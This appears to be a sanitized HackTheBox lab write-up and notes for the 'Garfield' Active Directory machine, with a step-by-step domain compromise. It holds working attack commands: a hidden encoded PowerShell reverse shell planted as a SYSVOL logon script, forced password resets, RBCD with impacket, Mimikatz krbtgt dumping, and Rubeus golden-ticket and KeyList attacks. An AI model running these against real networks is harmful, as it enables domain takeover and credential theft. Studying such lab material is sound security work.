Machine / Machines

Garfield Walkthrough - HTB Hard

Garfield Walkthrough - HTB Hard is a sanitized machine note from the local HTB archive, organized for quick review by category, difficulty, evidence flow, and reusable operator

HardPublished 2026-01-12Sanitized local writeup

Scenario

Garfield Walkthrough - HTB Hard attack path

Garfield Walkthrough - HTB Hard is a sanitized machine note from the local HTB archive, organized for quick review by category, difficulty, evidence flow, and reusable operator

Objective

Machine walkthrough focused on Machines evidence, validation, and reusable operator lessons.

Garfield Walkthrough - HTB Hard sanitized attack graph

Walkthrough flow

01

Domain validated: garfield.htb, DC01, Windows Server...

02

j.arbuckle credentials confirmed valid

03

BloodHound data collected (2 computers, 8 users, 55...

04

j.arbuckle to l.wilson scriptPath write

05

Logon script uploaded to SYSVOL, scriptPath set,...

Source coverage

High source coverage

Status: complete. This article is generated from 7 sanitized Markdown sources and keeps raw flags, credentials, keys, cookies, and reusable secrets out of the rendered blog.

100% coverage
Evidence verdict

High confidence: the page is reconstructed from a primary walkthrough plus multiple supporting notes or evidence sources. Treat the chain as source-backed, while still checking the listed source files for sensitive values.

  • <TARGET>-Garfield/walkthrough.md
  • HTB/<TARGET>-Garfield/notes.md
  • HTB/<TARGET>-Garfield/attack-map.md
  • HTB/<TARGET>-Garfield/session-resume.md
  • HTB/<TARGET>-Garfield/custom-exploit-notes.md
  • HTB/_knowledge/exports/ctf-lightrag-latest-203412/documents/machine__<TARGET>-Garfield__notes.md.97b40f04cb.md
  • HTB/_knowledge/exports/ctf-lightrag-latest-203412/documents/machine__<TARGET>-Garfield__notes__attack-map.md.2ceb351b33.md

Technical Walkthrough

Garfield Walkthrough - HTB Hard

Machine Info

  • Name: Garfield
  • OS: Windows (Active Directory)
  • Difficulty: Hard
  • Creator: ruycr4ft
  • Released: 2026-04-04
  • Domain: garfield.htb
  • DC: DC01.garfield.htb (<TARGET>)
  • Internal: RODC01.garfield.htb (<TARGET>)

Phase A: Baseline AD Enum + scriptPath Foothold

Step 1: Initial Validation

bash
# Add hosts
echo '<TARGET> DC01.garfield.htb garfield.htb' >> /etc/hosts

# Sync time (critical for Kerberos)
sudo ntpdate <TARGET>

# Validate credentials
nxc smb <TARGET> -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978'
# [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978

Step 2: AD Enumeration

bash
# Shares (NETLOGON/SYSVOL readable)
nxc smb <TARGET> -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --shares

# Users (7 total: Administrator, Guest, krbtgt, krbtgt_8245, j.arbuckle, l.wilson, l.wilson_adm)
nxc ldap <TARGET> -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --users

# BloodHound collection (2 computers: DC01, RODC01)
bloodhound-python -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' -d garfield.htb -ns <TARGET> -dc DC01.garfield.htb -c All

# Verify j.arbuckle's write rights
bloodyad ... get writable --detail
# Result: scriptPath WRITE on l.wilson AND l.wilson_adm
  • l.wilson: Remote Management Users, Remote Desktop Users
  • l.wilson_adm: Tier 1, Remote Management Users, Remote Desktop Users
  • krbtgt_8245 exists (RODC KDC service account)
  • j.arbuckle can write to SYSVOL/garfield.htb/scripts/ (but NOT NETLOGON directly)

Step 3: scriptPath Logon Script Exploit

bash
# Create self-contained base64 reverse shell .bat
# PowerShell TCPClient reverse shell encoded in UTF-16LE base64
cat > pwn.bat << 'EOF'
@echo off
powershell -ep bypass -nop -w hidden -e <base64_revshell_to_10.10.14.53:9001>
EOF

# Upload to SYSVOL scripts (NETLOGON maps to this path)
smbclient //DC01.garfield.htb/SYSVOL -U 'garfield.htb/j.arbuckle%Th1sD4mnC4t!@1978' \
  -c 'put pwn.bat garfield.htb/scripts/pwn.bat'

# Set l.wilson's scriptPath
bloodyad -d garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --host DC01.garfield.htb \
  set object l.wilson scriptPath -v 'printerDetect.bat'

# Also overwrite printerDetect.bat with payload (belt+suspenders)
smbclient //DC01.garfield.htb/SYSVOL -U 'garfield.htb/j.arbuckle%Th1sD4mnC4t!@1978' \
  -c 'put pwn.bat garfield.htb/scripts/printerDetect.bat'

# Start listener
nc -lvnp 9001
# Wait ~3-5 minutes for l.wilson logon simulation
# connect to [<TARGET>] from (UNKNOWN) [<TARGET>] 60528
# garfield\l.wilson on DC01

Step 4: l.wilson -> l.wilson_adm (Password Reset)

powershell
# From l.wilson shell - net user DOES NOT WORK (Access Denied)
# Must use Set-ADAccountPassword (ForceChangePassword extended right)
Set-ADAccountPassword -Identity l.wilson_adm -Reset -NewPassword (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force)

Verify:

bash
nxc winrm DC01.garfield.htb -u 'l.wilson_adm' -p 'P@ssw0rd123!'
# [+] garfield.htb\l.wilson_adm:P@ssw0rd123! (Pwn3d!)

evil-winrm -i DC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123!'

Step 5: User Flag

powershell
type C:\Users\l.wilson_adm\Desktop\user.txt
# <hash redacted>

Step 6: Platform Baseline

  • Hostname: DC01
  • Domain: garfield.htb
  • External IP: <TARGET>/16
  • Internal IP: <TARGET>/24 (Hyper-V vEthernet Switch01)
  • l.wilson_adm groups: Tier 1, Remote Management Users, Remote Desktop Users
  • l.wilson_adm privileges: SeMachineAccountPrivilege (add machine accounts)
  • ACL on RODC01$: WriteProperty x2 + ExtendedRight for l.wilson_adm
  • RODC01 reachability: <TARGET> ports 445 and 5985 OPEN from DC01
  • Domain SID: <secret redacted>
  • RODC01 SID: ...1602
  • RODC krbtgt: krbtgt_8245

Phase B: Pivot + RBCD + RODC Compromise

Step 7: Ligolo Pivot

bash
# Pwnbox
./proxy -selfcert -laddr <TARGET>:11601

# DC01, via WinRM
C:\Windows\Temp\agent.exe -connect <TARGET>:11601 -ignore-cert

# Pwnbox
sudo ip route replace <TARGET>/24 dev ligolo
nc -vz <TARGET> 445
nc -vz <TARGET> 5985

Step 8: RBCD to RODC01

bash
impacket-addcomputer 'garfield.htb/l.wilson_adm:P@ssw0rd123!' \
  -computer-name 'FAKE01$' -computer-pass 'FakePass123!' -dc-ip <TARGET>

impacket-rbcd -delegate-from 'FAKE01$' -delegate-to 'RODC01$' -action write \
  'garfield.htb/l.wilson_adm:P@ssw0rd123!' -dc-ip <TARGET>

impacket-getST 'garfield.htb/FAKE01$:FakePass123!' \
  -spn cifs/RODC01.garfield.htb -impersonate Administrator -dc-ip <TARGET>

<secret redacted>=Administrator.ccache impacket-psexec -k -no-pass \
  -target-ip <TARGET> RODC01.garfield.htb 'whoami'
# nt authority\system

Recovery Note: RODC01 Secure Channel

The previous run reset RODC01$ in AD only, which caused DC-issued RBCD tickets to fail on RODC01. Recovery was:

powershell
# Run from RODC01 SYSTEM
netdom resetpwd /server:DC01.garfield.htb /userd:GARFIELD\l.wilson_adm /<password redacted>:P@ssw0rd123!
nltest /sc_verify:garfield.htb

Evidence: loot/rodc-reset-secure-channel.txt.

Phase C: KeyList Attack + Root Flag

Step 9: Dump krbtgt_8245 AES Material

powershell
C:\Users\l.wilson_adm\Documents\m.exe "privilege::debug" `
  "lsadump::lsa /inject /name:krbtgt_8245" "exit"

Important detail: lsadump::lsa /patch only showed NTLM. The /inject /name:krbtgt_8245 form returned the AES keys needed for clean KeyList.

Evidence: loot/mimikatz-rodc01-krbtgt8245-aes-attempt.txt.

Step 10: Fix RODC Administration and PRP

The missing step was that RODC01 managedBy was empty. l.wilson_adm could set it to RODC Administrators, and after that the PRP cmdlets worked.

powershell
$rodc = "CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb"
$grp = "CN=RODC Administrators,CN=Users,DC=garfield,DC=htb"
Set-ADObject $rodc -Replace @{managedBy=$grp}

<password redacted> -Identity RODC01 -AllowedList Administrator
<password redacted> -Identity RODC01 `
  -DeniedList "Denied RODC Password Replication Group","Administrators" -Confirm:$false

Evidence:

  • enum/try-set-rodc01-managedby-rodcadmins.txt
  • enum/prp-mutation-after-managedby.txt

Step 11: RODC Golden Ticket + KeyList

powershell
Rubeus.exe golden /rodcNumber:8245 /aes256:<krbtgt_8245_AES256> `
  /user:Administrator /id:500 /domain:garfield.htb `
  /sid:<secret redacted> `
  /flags:forwardable,renewable,enc_pa_rep /outfile:admin_rodc.kirbi

Rubeus.exe asktgs /keyList /service:krbtgt/garfield.htb `
  /ticket:<admin_rodc_ticket> /dc:DC01.garfield.htb /enctype:aes256 /nowrap

The KeyList response returned Administrator key material. Raw output is stored in loot/rubeus-keylist-admin-current-aes-after-prp.txt.

Step 12: Root

bash
nxc winrm <TARGET> -d garfield.htb -u Administrator -H <administrator_ntlm> \
  -X 'hostname; whoami; Get-Content C:\Users\Administrator\Desktop\root.txt'

Root flag is stored in loot/root.txt. Raw command output is stored in loot/read-root-administrator-winrm.txt.

Source-Backed Dossier

The sections below are merged from companion Markdown notes for the same case. They are rendered after sanitization so the article stays precise without publishing raw flags, credentials, or target-specific secrets.

Notes

Scope

  • Target: <TARGET> (DC01.garfield.htb)
  • Domain: garfield.htb
  • Difficulty: Hard
  • Pwnbox: <TARGET> (profex0r / jennofrie)
  • VPN IP: <TARGET>
  • Started: 2026-05-05

Evidence Ledger

TimestampCommandOutput FileFindingNext Action
2026-05-06netdom resetpwd from RODC01 SYSTEMloot/rodc-reset-secure-channel.txtRepaired RODC01 secure channel after previous AD-only machine-password reset.Re-test RBCD to RODC01.
2026-05-06impacket-getST + impacket-psexecenum/getst-administrator-cifs-rodc01-after-secure-channel-repair.txt, enum/psexec-rodc01-rbcd-after-secure-channel-repair.txtFresh FAKE01$ S4U ticket gives SYSTEM on RODC01.Dump RODC krbtgt material.
2026-05-06mimikatz lsadump::lsa /inject /name:krbtgt_8245loot/mimikatz-rodc01-krbtgt8245-aes-attempt.txtCurrent and previous krbtgt_8245 AES material recovered.Fix RODC PRP and run KeyList.
2026-05-06Set-ADObject managedByenum/try-set-rodc01-managedby-rodcadmins.txtRODC01 managedBy set to RODC Administrators; this unlocked PRP administration.Add Administrator to allowed PRP and remove deny entries.
2026-05-06Add/<password redacted>enum/prp-mutation-after-managedby.txtAdministrator added to RODC reveal policy; default deny groups removed from RODC01 PRP.Forge RODC TGT and request KeyList.
2026-05-06Rubeus golden + Rubeus asktgs /keyListloot/rubeus-keylist-admin-current-aes-after-prp.txtKeyList succeeded and returned Administrator long-term key material.Validate Administrator access on DC01.
2026-05-06nxc winrm as Administratorloot/read-root-administrator-winrm.txt, loot/root.txtAdministrator WinRM confirmed and root flag captured.Update state files; leave cleanup/rollback documented.

Attack Map

Hosts

IPHostnameOSStatusReachable From
<TARGET>DC01.garfield.htbWindows Server 2019 Build 17763Live - Pwned (Administrator/root)Pwnbox VPN
<TARGET>RODC01.garfield.htbWindows Server 2019 Build 17763Live - SYSTEM via RBCDLigolo route via DC01

Services

HostPortServiceVersionAuthNotes
DC0153DNS--
DC0188Kerberos--Verified open
DC01135RPC--
DC01389LDAP--Verified open
DC01445SMBSMBv2, signing:Truej.arbuckle authWindows Server 2019
DC015985WinRM-l.wilson_adm, AdministratorPwn3d/root confirmed
DC012179Hyper-V VMConnect--Confirms RODC VM
RODC01445SMB-FAKE01$ S4U Administrator ticketSYSTEM via psexec
RODC015985WinRM-l.wilson_admReachable through Ligolo

Credentials

SourceUsernameSecretTypeTested OnResult
Givenj.arbuckleStored in state filesPasswordSMB/LDAP DC01Valid
Reset via Set-ADAccountPasswordl.wilson_admStored in state filesPasswordWinRM DC01/RODC01Pwn3d
Created machine accountFAKE01$Stored in state filesMachine passwordRBCD to RODC01Valid
KeyListAdministratorStored in loot/rubeus-keylist-admin-current-aes-after-prp.txtNTLM/AES materialWinRM DC01Root confirmed

Domain Info

  • Domain: garfield.htb
  • Domain SID: <secret redacted>
  • DC01 SID: (domain controller)
  • RODC01 SID: <secret redacted>
  • RODC krbtgt account: krbtgt_8245 (confirmed via LDAP enum)
  • l.wilson SID: <secret redacted>
  • l.wilson_adm SID: <secret redacted>

Users

UsernameGroupsKey Rights
j.arbuckleDomain UsersWriteProperty(scriptPath) on l.wilson + l.wilson_adm; Write to SYSVOL/scripts
l.wilsonRemote Management Users, Remote Desktop UsersSet-ADAccountPassword on l.wilson_adm
l.wilson_admTier 1, RODC Administrators, Remote Management Users, Remote Desktop UsersWriteProperty + ExtendedRight on RODC01$; SeMachineAccountPrivilege; could set RODC01 managedBy
krbtgt_8245-RODC KDC account (number 8245)

Attack Paths

#PathStatusEvidence
1j.arbuckle -> l.wilson (scriptPath write + SYSVOL logon script)<secret redacted>Shell as l.wilson via nc callback
2l.wilson -> l.wilson_adm (Set-ADAccountPassword)<secret redacted>WinRM Pwn3d, user flag captured
3l.wilson_adm -> RODC01 (RBCD via WriteProperty on RODC01$)<secret redacted>enum/psexec-rodc01-rbcd-after-secure-channel-repair.txt
4RODC01 managedBy -> PRP modification<secret redacted>enum/try-set-rodc01-managedby-rodcadmins.txt, enum/prp-mutation-after-managedby.txt
5RODC01 -> DC01 (KeyList attack via krbtgt_8245)<secret redacted>loot/rubeus-keylist-admin-current-aes-after-prp.txt
6Administrator -> DC01 root<secret redacted>loot/read-root-administrator-winrm.txt, loot/root.txt

Trust Edges

[Pwnbox <TARGET>] --VPN--> [DC01 <TARGET>]

[DC01 <TARGET>] --Hyper-V vSwitch01--> [RODC01 <TARGET>]

Session Resume

Last updated: 2026-05-06 - ROOT CAPTURED

Current Access

  • Administrator on DC01 confirmed via WinRM. Administrator key material is stored in loot/rubeus-keylist-admin-current-aes-after-prp.txt; do not paste into summaries.
  • l.wilson_adm remains valid on DC01 and was used for AD changes.
  • RODC01 SYSTEM is available via repaired RBCD path using FAKE01$.
  • User flag is in loot/user.txt; root flag is in loot/root.txt.

Session Registry

NameHostCommandPaneLocal PortRemote TargetStatus
Ligolo proxyPwnbox./proxy -selfcert -laddr <TARGET>:11601garfield:tunnel11601<TARGET>/24ACTIVE when tmux remains
HTTP serverPwnboxpython3 -m http.server 8000 from tools/garfield:web8000tool stagingACTIVE when tmux remains
WinRM/Ligolo agentDC01C:\Windows\Temp\agent.exe -connect <TARGET>:11601 -ignore-certgarfield:winrm-Pwnbox:11601ACTIVE when tmux remains

Confirmed Chain

  1. Domain validated: garfield.htb, DC01, Windows Server 2019
  2. j.arbuckle credentials confirmed valid
  3. BloodHound data collected (2 computers, 8 users, 55 groups)
  4. j.arbuckle -> l.wilson scriptPath write <secret redacted>
  5. Logon script uploaded to SYSVOL, scriptPath set, shell received as l.wilson
  6. l.wilson -> l.wilson_adm password reset via Set-ADAccountPassword <secret redacted>
  7. WinRM as l.wilson_adm <secret redacted> (Pwn3d)
  8. User flag captured and stored in loot/user.txt
  9. l.wilson_adm in Tier 1 group, has SeMachineAccountPrivilege
  10. l.wilson_adm has WriteProperty + ExtendedRight on RODC01$ (RBCD ready)
  11. RODC01 (<TARGET>) reachable on 445 and 5985 from DC01
  12. krbtgt_8245 confirmed as RODC KDC account
  13. Prior AD-only RODC01$ password reset broke the secure channel; repaired from RODC01 SYSTEM with netdom resetpwd
  14. RBCD to RODC01 restored after secure-channel repair
  15. managedBy on RODC01 was empty; setting it to RODC Administrators unlocked PRP cmdlets
  16. Administrator was added to RODC01 reveal policy and deny groups were removed from RODC01 PRP
  17. krbtgt_8245 AES was recovered with Mimikatz lsadump::lsa /inject /name:krbtgt_8245
  18. Rubeus KeyList succeeded and returned Administrator key material
  19. Administrator WinRM on DC01 confirmed; root flag captured in loot/root.txt

Key Evidence Files

  • loot/rodc-reset-secure-channel.txt
  • enum/getst-administrator-cifs-rodc01-after-secure-channel-repair.txt
  • enum/psexec-rodc01-rbcd-after-secure-channel-repair.txt
  • loot/mimikatz-rodc01-krbtgt8245-aes-attempt.txt
  • enum/try-set-rodc01-managedby-rodcadmins.txt
  • enum/prp-mutation-after-managedby.txt
  • loot/rubeus-keylist-admin-current-aes-after-prp.txt
  • loot/read-root-administrator-winrm.txt
  • loot/root.txt

Blockers

  • None for flag capture. Root is complete.

Cleanup Needed (post-engagement)

  • Remove pwn.bat from SYSVOL/scripts
  • Reset l.wilson scriptPath to empty
  • Reset l.wilson_adm scriptPath to empty
  • Restore printerDetect.bat original content
  • Reset l.wilson_adm password (or document)
  • Remove or reset FAKE01$ if desired
  • Clear RODC01 RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity)
  • Revert RODC01 managedBy to empty if restoring original state
  • Revert RODC01 PRP: remove Administrator from reveal policy and restore removed deny groups

Notes

State Mutations Log

TimestampTargetAttributeOld ValueNew ValueRollback Command
2026-05-05l.wilsonscriptPath(empty)printerDetect.batbloodyad ... set object l.wilson scriptPath -v ''
2026-05-05l.wilson_admscriptPath(empty)pwn.batbloodyad ... set object l.wilson_adm scriptPath -v ''
2026-05-05SYSVOLscripts/pwn.bat(did not exist)base64 PS revshell .batsmbclient ... -c 'del garfield.htb/scripts/pwn.bat'
2026-05-05SYSVOLscripts/printerDetect.batOriginal printer detect script (217B)base64 PS revshell .batRestore from /tmp/garfield/printerDetect.bat
2026-05-05l.wilson_admpasswordunknownP@ssw0rd123!Cannot rollback (old password unknown)

Technique Notes

scriptPath Logon Script

  • j.arbuckle has WriteProperty on l.wilson's scriptPath attribute
  • j.arbuckle can write to \\DC01\SYSVOL\garfield.htb\scripts\ (NETLOGON is read-only)
  • Login simulation happens approximately every 5 minutes
  • PowerShell base64-encoded payload (-e flag) works; IEX download also works
  • The logon simulation triggers on l.wilson (confirmed via callback)
  • Self-contained base64 payload is preferable to download-and-exec (faster, no HTTP dependency)

l.wilson -> l.wilson_adm Password Reset

  • net user /domain DOES NOT WORK (Access Denied - error 5)
  • Set-ADAccountPassword -Identity l.wilson_adm -Reset -NewPassword (...) WORKS
  • l.wilson has ForceChangePassword extended right (different from net user admin privileges)

l.wilson_adm -> RODC01 RBCD Rights

  • l.wilson_adm has WriteProperty (x2) + ExtendedRight on CN=RODC01,OU=Domain Controllers
  • SeMachineAccountPrivilege enables machine account creation
  • RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity) can be set on RODC01$

Session 2 - krbtgt_8245 AES256 Recovery Attempt (2026-05-06)

State Mutations (Session 2)

TimestampTargetAttributeOld ValueNew ValueRollback
2026-05-06 09:02FAKE01$password(unknown/rotated)FakePass123!Already done - getTGT confirms working
2026-05-06 09:03RODC01$password (AD only)(unknown - rotated)RODCpass123!CANNOT rollback - old password unknown. RODC01 local creds are now DESYNCED from AD

Critical Finding: RODC01$ Password Desync

  • The original RODC01$ NTLM (<hash redacted>) from our first dump NO LONGER WORKS for NTLM auth to RODC01
  • RODC01$'s machine password rotated naturally between Session 1 (dump worked) and Session 2
  • We then RESET RODC01$'s password in AD to "RODCpass123!" - this made things WORSE
  • RODC01 still uses its locally-stored rotated password (unknown to us)
  • DC01 now encrypts service tickets with the NEW password hash we set
  • RODC01 cannot decrypt those tickets because it doesn't know "RODCpass123!"
  • Result: <secret redacted> on all RBCD tickets to RODC01

What We Have

  • krbtgt_8245 NTLM: <hash redacted> (confirmed from lsadump::lsa /patch on RODC01)
  • krbtgt_8245 AES256: MISSING - this is the blocker
  • RODC01$ AES256 (old, from LSA dump): <hash redacted>
  • RODC01$ NTLM (old): <hash redacted>
  • RODC01 local SAM Admin hash: <hash redacted> (does NOT work for domain auth)
  • Domain SID: <secret redacted>
  • krbtgt_8245 RID: 1603

Plan When Pwnbox Returns

Priority 1: Fix RODC01 Access

The RODC01$'s AD password is "RODCpass123!" but RODC01 doesn't know it.

Options:

  1. Wait for RODC01 to replicate from DC01 and accept the new password (may not happen automatically for machine account self-password)
  2. Use Invoke-Command from DC01 to RODC01 - l.wilson_adm may not have admin rights on RODC01
  3. Force RODC01 to sync: from DC01 as l.wilson_adm, run repadmin /replsingle RODC01 DC01 "DC=garfield,DC=htb" /force
  4. Use DC01 to run mimikatz DCSync for krbtgt_8245 (requires Domain Admin on DC01 - we don't have)
  5. BEST OPTION: Use Invoke-Command -ComputerName RODC01 -Authentication NegotiateWithImplicitCredential from DC01's WinRM as l.wilson_adm with CredSSP or double-hop workaround

Priority 2: Alternative - Derive AES256 from Known Password

If we can't reach RODC01 but know krbtgt_8245's password, we can COMPUTE the AES256:

  • Salt for krbtgt_8245 in AD: <secret redacted>HTBkrbtgt_8245
  • Formula: <secret redacted>(password, salt, 4096 iterations, 32 bytes)
  • BUT we don't know krbtgt_8245's cleartext password, only its NTLM hash

Priority 3: Alternative - PRP Modification WITHOUT AES256

  • The KeyList attack with Impacket's keylistattack.py REQUIRES the RODC krbtgt AES256 key
  • But Rubeus golden ticket + keyList request can use RC4 (NTLM) if we set the ticket etype correctly
  • Try forging a RODC golden ticket with RC4 key and attempting keyList

Priority 4: Alternative - Skip KeyList Entirely

  • If we can modify RODC01's PRP (allow list) to include Administrator
  • AND force a password cache on RODC01 for Administrator
  • Then dump RODC01's NTDS again (once access is restored) to get Administrator's cached hash
  • This requires RODC01 access which is currently blocked

Pwnbox Status

  • Pwnbox <TARGET> went <secret redacted> at approximately 09:10 UTC-5 on 2026-05-06
  • All tmux sessions, Ligolo tunnel, and listeners are LOST if Pwnbox was recycled
  • If recycled: need to re-establish VPN, Ligolo, RBCD, and all tools

Session 3 - Root Completion (2026-05-06)

State Mutations (Session 3)

TimestampTargetAttributeOld ValueNew ValueRollback
2026-05-06RODC01$machine passworddesynced local/AD stateresynced by netdom resetpwdRe-run netdom resetpwd if trust breaks again; exact generated secret is in loot only.
2026-05-06RODC01managedByemptyCN=RODC Administrators,CN=Users,DC=garfield,DC=htbSet-ADObject <RODC01 DN> -Clear managedBy
2026-05-06RODC01 PRPmsDS-RevealOnDemandGroupAllowed RODC Password Replication Group onlyAdded Administrator DNRemove Administrator DN from msDS-RevealOnDemandGroup
2026-05-06RODC01 PRPmsDS-NeverRevealGroupDenied RODC Password Replication Group, Account Operators, Server Operators, Backup Operators, AdministratorsRemoved Denied RODC Password Replication Group and AdministratorsAdd the removed DNs back to msDS-NeverRevealGroup

Critical Root-Cause Fix

  • The public chain was correct but one setup edge was missing from prior execution: RODC01 managedBy was empty.
  • l.wilson_adm could set RODC01 managedBy to RODC Administrators.
  • After managedBy was set and l.wilson_adm was already a member of RODC Administrators, the PRP cmdlets succeeded.
  • Key evidence:

- enum/try-set-rodc01-managedby-rodcadmins.txt

- enum/prp-mutation-after-managedby.txt

Kerberos / RODC Findings

  • The broken RBCD issue was caused by the AD-only RODC01$ password reset. RODC01 could not decrypt DC-issued service tickets until netdom resetpwd repaired the secure channel.
  • A silver ticket with the old local RODC01$ key was enough to regain RODC01 SYSTEM and run netdom resetpwd.
  • lsadump::lsa /inject /name:krbtgt_8245 was required to recover AES material; plain lsadump::lsa /patch only showed NTLM.
  • Key evidence with raw secrets is stored in loot/:

- loot/rodc-reset-secure-channel.txt

- loot/mimikatz-rodc01-krbtgt8245-aes-attempt.txt

- loot/rubeus-keylist-admin-current-aes-after-prp.txt

Completion

  • Rubeus KeyList succeeded after PRP was fixed.
  • Administrator WinRM to DC01 was validated.
  • Root flag captured and stored in loot/root.txt.

Notes

Scope

  • Target: <TARGET> (DC01.garfield.htb)
  • Domain: garfield.htb
  • Difficulty: Hard
  • Pwnbox: <TARGET> (<<secret redacted>> / <<secret redacted>>)
  • VPN IP: <TARGET>
  • Started: 2026-05-05

Evidence Ledger

TimestampCommandOutput FileFindingNext Action
2026-05-06netdom resetpwd from RODC01 SYSTEMloot/rodc-reset-secure-channel.txtRepaired RODC01 secure channel after previous AD-only machine-password reset.Re-test RBCD to RODC01.
2026-05-06impacket-getST + impacket-psexecenum/getst-administrator-cifs-rodc01-after-secure-channel-repair.txt, enum/psexec-rodc01-rbcd-after-secure-channel-repair.txtFresh FAKE01$ S4U ticket gives SYSTEM on RODC01.Dump RODC krbtgt material.
2026-05-06mimikatz lsadump::lsa /inject /name:krbtgt_8245loot/mimikatz-rodc01-krbtgt8245-aes-attempt.txtCurrent and previous krbtgt_8245 AES material recovered.Fix RODC PRP and run KeyList.
2026-05-06Set-ADObject managedByenum/try-set-rodc01-managedby-rodcadmins.txtRODC01 managedBy set to RODC Administrators; this unlocked PRP administration.Add Administrator to allowed PRP and remove deny entries.
2026-05-06Add/<password redacted>enum/prp-mutation-after-managedby.txtAdministrator added to RODC reveal policy; default deny groups removed from RODC01 PRP.Forge RODC TGT and request KeyList.
2026-05-06Rubeus golden + Rubeus asktgs /keyListloot/rubeus-keylist-admin-current-aes-after-prp.txtKeyList succeeded and returned Administrator long-term key material.Validate Administrator access on DC01.
2026-05-06nxc winrm as Administratorloot/read-root-administrator-winrm.txt, loot/root.txtAdministrator WinRM confirmed and root flag captured.Update state files; leave cleanup/rollback documented.

Notes

Kill Chain

text
[DONE] j.arbuckle (given creds)
  -> scriptPath write on l.wilson (bloodyAD)
  -> pwn.bat in NETLOGON -> reverse shell as l.wilson
[DONE] l.wilson
  -> password reset on l.wilson_adm (bloodyAD)
[DONE] l.wilson_adm (WinRM on DC01)
  -> user.txt captured
[NEXT] l.wilson_adm has WriteProperty on RODC01$ (msDS-AllowedToActOnBehalfOfOtherIdentity)
  -> Create machine account FAKE01$
  -> Set RBCD: RODC01$ trusts FAKE01$ for delegation
  -> S4U2Self + S4U2Proxy -> cifs/RODC01.garfield.htb as Administrator
  -> SYSTEM on RODC01
[NEXT] RODC01 SYSTEM
  -> Dump krbtgt_XXXXX AES256 key
  -> Modify PRP (msDS-RevealOnDemandGroup) to allow Administrator
  -> Forge RODC golden ticket
  -> KeyList attack against DC01
  -> Recover Administrator AES/NTLM
[FINAL] Administrator on DC01
  -> root.txt

Infrastructure

text
Pwnbox (<TARGET>) --[VPN]--> DC01 (<TARGET>)
                                  |
                                  | <TARGET> (internal NIC, Hyper-V)
                                  |
                                  RODC01 (<TARGET>)

Pivot Required

  • Ligolo route-style: Pwnbox -> DC01 agent -> <TARGET>/24
  • Needed for: RBCD tools (impacket), secretsdump, psexec against RODC01